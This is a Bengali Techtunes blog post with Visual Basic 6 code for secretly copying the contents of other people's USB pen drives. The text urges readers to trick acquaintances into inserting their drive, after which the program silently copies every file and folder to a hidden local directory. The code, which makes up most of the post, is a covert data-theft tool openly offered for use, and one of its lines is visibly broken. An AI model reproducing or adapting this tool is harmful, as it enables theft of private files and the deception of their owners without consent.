ADs by Techtunes ADs
ADs by Techtunes ADs

লুকিয়ে অন্যের পেন ড্রাইভের ডেটা কপি করুন; সে কক্ষনো টের পাবেনা

আপনি আপনার পরিচিত কারো পেন ড্রাইভে খুব গুরুত্বপূর্ণ কোন তথ্য/সফটওয়্যার/টিউটোরিয়াল দেখতে পারেন; কিন্তু লজ্জার খাতিরে কিংবা তার কাছে চাইলে সে মুখের উপর না বলে দিতে পারে এই ভেবে আপনি আর তার কাছে চাইতেও পারেন না। আবার ঐ তথ্য/সফটওয়্যার/টিউটোরিয়াল পেলে আপনি ভীষণ উপকৃত হবেন। আর এই জন্যই আপনাকে এমন কোন পদ্ধতি অবলম্বন করতে হবে যাতে ঐ তথ্য/সফটওয়্যার/টিউটোরিয়াল আপনি নিমিষেই আপনার ল্যাপটপ/ডেক্সটপে কপি করে নিতে পারেন। আর এই ব্যাপারটা ঐ পেন ড্রাইভের মালিক সারাদিন আপনার ল্যাপটপ/ডেক্সটপে তাকিয়ে থাকলেও কোথা দিয়ে যে কি হচ্ছে সেটা সে কিছুই বুঝতে পারবে না। আপনাকে শুধু ছলে বলে কৌশলে তাকে কিছু দেবার নাম করে তার পেন ড্রাইভটিকে আপনার ল্যাপটপ/ডেক্সটপে ইনসার্ট করাতে হবে। ব্যাস আপনার দায়িত্ব শুধুই এতটুকু। বাকি কাজটুকু অটোমেটিক ভাবে হয়ে যাবে। এই ভিডিও টিউটোরিয়ালে আমি দেখিয়েছি কিভাবে আপনি লুকিয়ে অন্যের পেন ড্রাইভের ডেটা কপি করে নিতে পারবেন।

ADs by Techtunes ADs

কোড গুলি পেতে নিচের লিঙ্কে ক্লিক কুরুন

http://albertcse.blogspot.com/2017/10/secretly-copy-data-from-usb-to-computer.html

[CODE]

Dim sourcePath As String

Private Declare Function GetDriveType Lib "kernel32.dll" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

Dim norle As New Scripting.FileSystemObject

Private Sub Form_Load()

Label7.Caption = "  Developed By: Engr. Albert Subir Mondal,  Email: [email protected]"

Timer3.Enabled = True

ADs by Techtunes ADs

Timer3.Interval = 300

Timer1.Enabled = True

If Not norle.FolderExists("C:\AlbertUsb") Then

norle.CreateFolder ("C:\AlbertUsb")

Else

Exit Sub

End If

End Sub

Private Sub Timer1_Timer()

Dim drvValue As Object

ADs by Techtunes ADs

For Each drvValue In norle.Drives

If drvValue.DriveLetter <> "A" Then

If drvValue.IsReady Then

If GetDriveType(drvValue.DriveLetter & ":\") = 2 Then

sourcePath = (drvValue.DriveLetter & ":\")

Call FolderName(sourcePath)

Timer1.Enabled = False

End If

End If

End If

ADs by Techtunes ADs

Next

End Sub

Sub FolderName(Path As String)

On Error Resume Next

Dim Pfolder As Folder

Dim Sfolder As Folder

Dim d As String

Dim i As Integer

i = 0

A:

ADs by Techtunes ADs

i = i + 1

If Not norle.FolderExists("C:\AlbertUsb\USB" & i) Then

norle.CreateFolder ("C:\AlbertUsb\USB" & i)

DesPath = ("C:\AlbertUsb\USB" & i)

Else: GoTo A

End If

norle.CopyFile sourcePath & "*.*", DesPath

Set Pfolder = norle.GetFolder(Path)

For Each Sfolder In Pfolder.SubFolders

Text1.Text = Text1.Text & Sfolder & vbCrLf

ADs by Techtunes ADs

d = Sfolder

d = Mid(d, 4)

norle.CreateFolder DesPath & "\" & d

SetAttr sourcePath & "\" & d, vbNormal

norle.CopyFolder Sfolder, DesPath & "\" & d

Next Sfolder

Set Pfolder = Nothing

Timer1.Enabled = True

MsgBox "All Data Copied to " & DesPath, vbInformation, "Copy USB Files"

End Sub

ADs by Techtunes ADs

 

Private Sub Timer2_Timer()

If Label2.Visible = True Then

Label2.Visible = False

Else

Label2.Visible = True

End If

End Sub

Private Sub Timer3_Timer()

Dim str As String

ADs by Techtunes ADs

str = Form1.Label7.Caption

str = Mid$(str, 2, Len(str) + Left(str, 1)

Form1.Label7.Caption = str

End Sub

 

ADs by Techtunes ADs
Level New

আমি Albert Subir Mondal। বিশ্বের সর্ববৃহৎ বিজ্ঞান ও প্রযুক্তির সৌশল নেটওয়ার্ক - টেকটিউনস এ আমি 3 বছর 2 মাস যাবৎ যুক্ত আছি। টেকটিউনস আমি এ পর্যন্ত 37 টি টিউন ও 2 টি টিউমেন্ট করেছি। টেকটিউনসে আমার 4 ফলোয়ার আছে এবং আমি টেকটিউনসে 0 টিউনারকে ফলো করি।


টিউনস


আরও টিউনস


টিউনারের আরও টিউনস


টিউমেন্টস